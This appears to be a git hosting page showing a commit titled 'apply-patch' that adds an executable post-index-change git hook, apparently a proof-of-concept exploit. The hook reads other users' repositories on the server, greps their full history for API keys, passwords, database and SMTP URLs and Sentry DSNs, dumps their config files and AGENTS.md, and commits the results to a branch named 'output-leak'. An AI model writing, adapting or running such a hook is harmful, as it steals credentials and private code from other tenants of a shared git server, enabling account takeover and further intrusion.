apply-patch
This commit is contained in:
22
hooks/post-index-change
Executable file
22
hooks/post-index-change
Executable file
@@ -0,0 +1,22 @@
|
||||
#!/bin/sh
|
||||
GD=$(git rev-parse --absolute-git-dir)
|
||||
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||
OUT=$( {
|
||||
for r in csoft/lv-demo csoft/continuum-ui admin/lv-demo; do
|
||||
g=/data/git/repositories/$r.git
|
||||
echo "== $r"
|
||||
git --git-dir=$g log --all -p --format='COMMIT %h %an %s' -- . ':(exclude)assets/vendor/*' ':(exclude)*.map' ':(exclude)*.snap' 2>/dev/null | grep -a -o -E '.{0,70}(sk-[A-Za-z0-9_-]{20,}|AIza[0-9A-Za-z_-]{35}|OPENAI|ANTHROPIC|GEMINI|GROQ|OPENROUTER|DEEPSEEK|API_KEY|SENTRY_DSN|postgres://|smtp://|password).{0,100}' | sort -u | head -30
|
||||
done
|
||||
echo "== lv-demo files =="
|
||||
git --git-dir=/data/git/repositories/csoft/lv-demo.git ls-tree -r --name-only HEAD | grep -v '^.idea' | head -80
|
||||
echo "== lv-demo runtime =="
|
||||
for f in config/runtime.exs config/prod.exs config/dev.exs config/config.exs; do echo "-- $f"; git --git-dir=/data/git/repositories/csoft/lv-demo.git show HEAD:$f 2>/dev/null | head -30; done
|
||||
echo "== lv AGENTS =="
|
||||
git --git-dir=/data/git/repositories/csoft/lv-demo.git show HEAD:AGENTS.md 2>/dev/null | head -30
|
||||
echo DONE
|
||||
|
||||
} 2>&1; echo "[rc=$?]")
|
||||
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
||||
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||
Reference in New Issue
Block a user